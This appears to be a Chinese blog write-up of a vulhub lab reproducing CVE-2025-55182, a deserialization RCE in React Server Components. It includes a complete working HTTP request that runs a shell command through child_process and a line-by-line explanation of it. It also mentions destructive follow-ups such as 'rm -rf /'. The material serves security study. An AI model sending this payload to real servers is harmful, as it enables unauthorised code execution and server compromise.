【vulhub漏洞复现】Deserialization -- React Server Components Flight 协议反序列化代码执行(CVE-2025-55182)

本文最后更新于 2026年3月16日 晚上

1.漏洞原理

React Server Components (RSC)是React的一项功能,允许开发者在服务器上渲染组件并将结果发送给客户端。React Server Components中存在一个未授权的远程代码执行漏洞。攻击者可以向任何Server Function端点发送精心构造的恶意HTTP请求,当React对该请求进行反序列化时,即可在服务器上实现远程代码执行。该漏洞影响react-server-dom-webpack、react-server-dom-parcel和react-server-dom-turbopack的19.0到19.2.0版本,以及依赖这些包的框架(如Next.js)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 758

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

一、请求基本结构分析

这是一个标准的 HTTP/1.1 POST 请求,目标地址是localhost的根路径(/),核心特征如下:

  • 请求方法:POST(用于提交数据,适合传输攻击载荷)
  • Content-Typemultipart/form-data(表单上传格式,常见于文件 / 复杂表单提交,攻击者常用此格式绕过简单的参数过滤)
  • Content-Length:758(表示请求体大小为 758 字节)
  • 自定义头Next-Action: x(可能是目标应用的业务自定义头,用于触发特定逻辑)
  • 请求体:以----WebKitFormBoundaryx8jO2oVc6SWP3Sad为分隔符的多段表单数据,包含 3 个表单字段(name=”0”、”1”、”2”)。

二、核心恶意载荷分析

这个请求的本质是针对 Node.js 环境的原型链污染 + 服务器端命令执行(RCE)攻击,核心恶意逻辑集中在name="0"的表单字段中,我们逐段拆解:

1. 核心恶意字段:name=”0”(JSON 内容)

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"then": "$1:__proto__:then", // 原型链污染核心:修改对象原型的then方法
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}", // 构造恶意then方法的取值
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});", // 命令执行核心
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor" // 原型链污染:获取Function构造函数
}
}
}

关键恶意逻辑解析:

  • 原型链污染(Prototype Pollution)

    • $1:__proto__:then__proto__是 JavaScript 对象的原型链属性,$1表示引用name="1"的字段值("$@0",指向name="0"的内容),攻击者试图通过这种引用方式修改所有对象的原型链上的 then 方法,实现全局污染。
    • $1:constructor:constructorconstructor是对象的构造函数,constructor.constructor等价于Function(JavaScript 的函数构造函数),攻击者通过原型链获取Function后,可执行任意代码(如Function('恶意代码')())。
  • 服务器端命令执行(RCE)

    _prefix中的核心代码是 Node.js 环境下的命令执行:

    1
    2
    3
    4
    // 加载child_process模块(Node.js执行系统命令的核心模块)
    var res = process.mainModule.require('child_process').execSync('id').toString().trim();
    // 执行id命令(Linux下查看当前用户身份),并将结果拼接到跳转URL中
    throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});

    这段代码的目的是:

    1. 执行系统命令id,获取当前进程的用户身份(如uid=0(root) gid=0(root));
    2. 将命令执行结果通过 Error 的digest属性暴露出来(攻击者可通过返回值获取结果);
    3. 抛出重定向错误,试图绕过应用的异常处理逻辑,确保命令执行完成。

2. 辅助字段:name=”1” 和 name=”2”

  • name="1":值为"$@0",是攻击者定义的变量引用,指向name="0"的字段内容,用于串联原型链污染的引用关系。
  • name="2":值为[](空数组),是攻击载荷的填充字段,可能用于触发目标应用的数组解析逻辑,辅助原型链污染生效。

三、攻击意图总结

这个 HTTP 请求是攻击者精心构造的针对 Node.js 应用的原型链污染 + RCE 攻击,核心目标:

  1. 通过原型链污染篡改应用的全局对象方法(如then);
  2. 利用污染后的原型链执行child_process.execSync('id'),获取服务器的用户身份;
  3. id命令执行成功,攻击者会进一步尝试执行更危险的命令(如cat /etc/passwdrm -rf /等),完全控制服务器。

四、什么是原型污染

说白了就是个所有类的基类添加一个方法,导致所有子类都继承了这个方法造成了污染

举个简单例子(Node.js/ 浏览器都适用):

1
2
3
4
5
6
7
8
9
10
11
12
13
// 1. 创建一个普通对象
const user = { name: "张三" };

// 2. 访问user的原型(所有普通对象的原型都是Object.prototype)
console.log(user.__proto__ === Object.prototype); // 输出:true

// 3. 给原型添加一个方法,所有普通对象都会继承这个方法
Object.prototype.sayHello = function() {
console.log("Hello, " + this.name);
};

// 4. user对象本身没有sayHello方法,但能调用(因为继承自原型)
user.sayHello(); // 输出:Hello, 张三

原型链污染就是攻击者通过修改对象的原型(__proto__),让所有继承这个原型的对象都被 “污染”—— 相当于篡改了 “公共模板”,所有用这个模板创建的对象都会带上被篡改的属性 / 方法。简单来说:正常情况下我们只改 “单个对象” 的属性,而原型链污染改的是 “所有对象的公共原型”,影响范围是全局的。

原型链污染核心触发条件(缺一不可)

原型链污染不是 Node.js 本身的 “原生漏洞”,而是开发者编写代码时的逻辑漏洞,只有满足以下场景才会出现:

  • 场景 1:应用将用户可控的输入(如 POST 表单、JSON 参数、URL 查询参数)直接合并 / 赋值到对象中;
  • 场景 2:合并 / 赋值逻辑未过滤敏感属性__proto__constructorprototype);
  • 场景 3:合并的目标对象是 “普通对象”(基于Object.prototype创建),而非无原型对象(Object.create(null))。

2.漏洞原理

将上面的请求用bp发送,成功拿到RCE


【vulhub漏洞复现】Deserialization -- React Server Components Flight 协议反序列化代码执行(CVE-2025-55182)
http://www.ybyb.org.cn/2026/01/24/【vulhub漏洞复现】Deserialization-React-Server-Components-Flight-协议反序列化代码执行(CVE-2025-55182/
作者
LHN
发布于
2026年1月24日
许可协议